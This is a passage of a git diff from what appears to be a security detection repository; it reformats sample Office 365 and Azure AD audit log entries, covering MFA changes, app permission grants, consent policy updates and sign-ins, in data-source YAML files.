(15.20.4200.000)\r\n", "SessionId": "8cdbf96a-3133-4d0d-a68e-7d7a883b8f8f", "Item": {"Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "ParentFolder": {"Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "MemberRights": "FreeBusySimple", "MemberSid": "S-1-1-0", "MemberUpn": "Everyone", "Name": "Inbox", "Path": "\\Inbox"}}} diff --git a/data_sources/o365_set_company_information_.yml b/data_sources/o365_set_company_information_.yml index 21074601ea..2c96463f54 100644 --- a/data_sources/o365_set_company_information_.yml +++ b/data_sources/o365_set_company_information_.yml @@ -97,4 +97,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "bpatel@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "100320010208B5DC", "Type": 3}, {"ID": "User_425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2021-01-13T22:57:21", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Company"}], "Id": "50a62783-f9d7-472c-9e44-f4f3d346e53c", "InterSystemsId": "6f435e84-e95b-44da-820f-2d2c9c237293", "IntraSystemId": "1163f0db-2241-4689-8486-b15c7812bbe0", "ModifiedProperties": [{"Name": "StrongAuthenticationPolicy", "NewValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\",\r\n \"66.176.252.11/32\"\r\n ]\r\n }\r\n ]\r\n }\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\",\r\n \"66.176.252.11/32\"\r\n ]\r\n }\r\n ]\r\n },\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 2,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"insidecorporatenetwork--true\"\r\n ]\r\n }\r\n ]\r\n }\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationPolicy", "OldValue": ""}], "ObjectId": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Operation": "Set Company Information.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "Directory", "Type": 2}, {"ID": "Emergency Information Technology Services LLC", "Type": 1}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "bpatel@rodsoto.onmicrosoft.com", "UserKey": "100320010208B5DC@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "bpatel@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "100320010208B5DC", "Type": 3}, {"ID": "User_425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2021-01-06T01:50:42", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Company"}], "Id": "0446789a-4b8c-4a63-a425-b370df0524f6", "InterSystemsId": "f18836fb-fa5a-4476-864a-972215d182d6", "IntraSystemId": "8b498fc4-57ad-4a1e-87bd-d0846a19393f", "ModifiedProperties": [{"Name": "StrongAuthenticationPolicy", "NewValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\"\r\n ]\r\n }\r\n ]\r\n }\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationPolicy", "OldValue": ""}], "ObjectId": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Operation": "Set Company Information.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "Directory", "Type": 2}, {"ID": "Emergency Information Technology Services LLC", "Type": 1}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "bpatel@rodsoto.onmicrosoft.com", "UserKey": "100320010208B5DC@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_update_application_.yml b/data_sources/o365_update_application_.yml index b74066a9a7..0a4c122933 100644 --- a/data_sources/o365_update_application_.yml +++ b/data_sources/o365_update_application_.yml @@ -102,4 +102,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-01T17:16:20", "Id": "c428c85c-4fa0-4e97-9033-6a76d9dee45d", "Operation": "Update application.", "OrganizationId": "58aee3b9-7433-46a0-b54e-2429487992a0", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "Application_a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "UserId": "attacker@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"AppId\":\"95106c0e-3519-450e-8e38-7f326d873454\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "RequiredResourceAccess", "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"b633e1c5-b582-4048-a93e-9f11b44c7e96\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "RequiredResourceAccess", "OldValue": ""}], "Actor": [{"ID": "attacker@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "58aee3b9-7433-46a0-b54e-2429487992a0", "InterSystemsId": "6a0bc9d4-eb2d-4eb0-a524-601dac6914a6", "IntraSystemId": "a2d4d7c4-727c-401b-9e6c-70413a080855", "SupportTicketId": "", "Target": [{"ID": "Application_a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "Type": 2}, {"ID": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "Type": 2}, {"ID": "Application", "Type": 2}, {"ID": "TestApp2", "Type": 1}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 2}], "TargetContextId": "58aee3b9-7433-46a0-b54e-2429487992a0"}' +example_log: | + {"CreationTime": "2024-01-30T15:24:59", "Id": "7c93e761-608c-4ef2-9bde-049f680d3b45", "Operation": "Update application.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "Application_75924835-d844-4947-96ba-18074e997386", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\",\"AppId\":\"867f0d29-0eab-4017-b691-c4713cc7d7b0\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "RequiredResourceAccess", "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000002-0000-0ff1-ce00-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"06b708a9-e830-4db3-a914-8e69da51d44f\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"ResourceAppId\": \"00000002-0000-0ff1-ce00-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "RequiredResourceAccess", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "Application_75924835-d844-4947-96ba-18074e997386", "Type": 2}, {"ID": "75924835-d844-4947-96ba-18074e997386", "Type": 2}, {"ID": "Application", "Type": 2}, {"ID": "MaliciousApp", "Type": 1}, {"ID": "867f0d29-0eab-4017-b691-c4713cc7d7b0", "Type": 2}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_update_authorization_policy_.yml b/data_sources/o365_update_authorization_policy_.yml index 77f4c55cb8..d556ecc1b6 100644 --- a/data_sources/o365_update_authorization_policy_.yml +++ b/data_sources/o365_update_authorization_policy_.yml @@ -94,4 +94,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-26T19:22:20", "Id": "83774e72-313f-4d1f-8609-7d0c7bb3b4ff", "Operation": "Update authorization policy.", "OrganizationId": "a417c578-c7ee-480d-a225-d48057e74df5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Swagger-Codegen/1.0.0.0/csharp/msal\"}"}, {"Name": "extendedAuditEventCategory", "Value": "AuthorizationPolicy"}], "ModifiedProperties": [{"Name": "AllowUserConsentForRiskyApps", "NewValue": "[\r\n true\r\n]", "OldValue": "[\r\n false\r\n]"}, {"Name": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "NewValue": "[\r\n \"microsoft-user-default-legacy\"\r\n]", "OldValue": "[\r\n \"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "a417c578-c7ee-480d-a225-d48057e74df5", "InterSystemsId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "IntraSystemId": "92a0d051-2d0d-4608-9d09-6fca619764a2", "SupportTicketId": "", "Target": [{"ID": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "Other", "Type": 2}, {"ID": "Authorization Policy", "Type": 1}], "TargetContextId": "a417c578-c7ee-480d-a225-d48057e74df5"}' +example_log: | + {"CreationTime": "2023-10-26T19:22:20", "Id": "83774e72-313f-4d1f-8609-7d0c7bb3b4ff", "Operation": "Update authorization policy.", "OrganizationId": "a417c578-c7ee-480d-a225-d48057e74df5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Swagger-Codegen/1.0.0.0/csharp/msal\"}"}, {"Name": "extendedAuditEventCategory", "Value": "AuthorizationPolicy"}], "ModifiedProperties": [{"Name": "AllowUserConsentForRiskyApps", "NewValue": "[\r\n true\r\n]", "OldValue": "[\r\n false\r\n]"}, {"Name": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "NewValue": "[\r\n \"microsoft-user-default-legacy\"\r\n]", "OldValue": "[\r\n \"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "a417c578-c7ee-480d-a225-d48057e74df5", "InterSystemsId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "IntraSystemId": "92a0d051-2d0d-4608-9d09-6fca619764a2", "SupportTicketId": "", "Target": [{"ID": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "Other", "Type": 2}, {"ID": "Authorization Policy", "Type": 1}], "TargetContextId": "a417c578-c7ee-480d-a225-d48057e74df5"} diff --git a/data_sources/o365_update_user_.yml b/data_sources/o365_update_user_.yml index 0adc2c5299..7055f6a790 100644 --- a/data_sources/o365_update_user_.yml +++ b/data_sources/o365_update_user_.yml @@ -102,4 +102,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-20T19:32:59", "Id": "d06df1c6-b3f2-4595-90b9-99b8f91811c3", "Operation": "Update user.", "OrganizationId": "99825d50-9544-4061-8e46-68923805cbf2", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@splunkresearch1.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victim@splunkresearch1.onmicrosoft.com", "UserId": "victim@splunkresearch1.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"UserType\":\"Member\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [{"Name": "StrongAuthenticationMethod", "NewValue": "[\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 0,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 5,\r\n \"Default\": false\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n }\r\n]"}, {"Name": "StrongAuthenticationRequirement", "NewValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 1,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationMethod, StrongAuthenticationRequirement", "OldValue": ""}, {"Name": "TargetId.UserType", "NewValue": "Member", "OldValue": ""}], "Actor": [{"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "99825d50-9544-4061-8e46-68923805cbf2", "InterSystemsId": "533a45c6-4f9a-4527-ad8d-e8fec5c7d8e4", "IntraSystemId": "32734207-053e-4ad1-87a3-4da1dfa69c58", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "99825d50-9544-4061-8e46-68923805cbf2"}' +example_log: | + {"CreationTime": "2023-10-20T19:32:59", "Id": "d06df1c6-b3f2-4595-90b9-99b8f91811c3", "Operation": "Update user.", "OrganizationId": "99825d50-9544-4061-8e46-68923805cbf2", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@splunkresearch1.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victim@splunkresearch1.onmicrosoft.com", "UserId": "victim@splunkresearch1.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"UserType\":\"Member\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [{"Name": "StrongAuthenticationMethod", "NewValue": "[\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 0,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 5,\r\n \"Default\": false\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n }\r\n]"}, {"Name": "StrongAuthenticationRequirement", "NewValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 1,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationMethod, StrongAuthenticationRequirement", "OldValue": ""}, {"Name": "TargetId.UserType", "NewValue": "Member", "OldValue": ""}], "Actor": [{"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "99825d50-9544-4061-8e46-68923805cbf2", "InterSystemsId": "533a45c6-4f9a-4527-ad8d-e8fec5c7d8e4", "IntraSystemId": "32734207-053e-4ad1-87a3-4da1dfa69c58", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "99825d50-9544-4061-8e46-68923805cbf2"} diff --git a/data_sources/o365_userloggedin.yml b/data_sources/o365_userloggedin.yml index 0340c44cc9..17c887a8ce 100644 --- a/data_sources/o365_userloggedin.yml +++ b/data_sources/o365_userloggedin.yml @@ -108,4 +108,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-12-04T20:42:05", "Id": "52d72a62-132b-487b-bb7f-c4c119f90700", "Operation": "UserLoggedIn", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 15, "ResultStatus": "Success", "UserKey": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "54.68.231.63", "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "UserId": "user15@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}, {"Name": "RequestType", "Value": "OAuth2:Authorize"}], "ModifiedProperties": [], "Actor": [{"ID": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "Type": 0}, {"ID": "user15@splunkresearch.onmicrosoft.com", "Type": 5}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ActorIpAddress": "54.68.231.63", "InterSystemsId": "6463a6ad-27ec-b311-dc52-ecdde38d9492", "IntraSystemId": "52d72a62-132b-487b-bb7f-c4c119f90700", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 0}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ApplicationId": "00000002-0000-0ff1-ce00-000000000000", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Firefox"}, {"Name": "SessionId", "Value": "15e27956-79a0-45b2-9d02-60f48349f692"}], "ErrorNumber": "0"}' +example_log: | + {"CreationTime": "2023-12-04T20:42:05", "Id": "52d72a62-132b-487b-bb7f-c4c119f90700", "Operation": "UserLoggedIn", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 15, "ResultStatus": "Success", "UserKey": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "54.68.231.63", "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "UserId": "user15@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}, {"Name": "RequestType", "Value": "OAuth2:Authorize"}], "ModifiedProperties": [], "Actor": [{"ID": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "Type": 0}, {"ID": "user15@splunkresearch.onmicrosoft.com", "Type": 5}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ActorIpAddress": "54.68.231.63", "InterSystemsId": "6463a6ad-27ec-b311-dc52-ecdde38d9492", "IntraSystemId": "52d72a62-132b-487b-bb7f-c4c119f90700", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 0}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ApplicationId": "00000002-0000-0ff1-ce00-000000000000", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Firefox"}, {"Name": "SessionId", "Value": "15e27956-79a0-45b2-9d02-60f48349f692"}], "ErrorNumber": "0"} diff --git a/data_sources/o365_userloginfailed.yml b/data_sources/o365_userloginfailed.yml index c8e997c46c..ba31172563 100644 --- a/data_sources/o365_userloginfailed.yml +++ b/data_sources/o365_userloginfailed.yml @@ -112,4 +112,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": 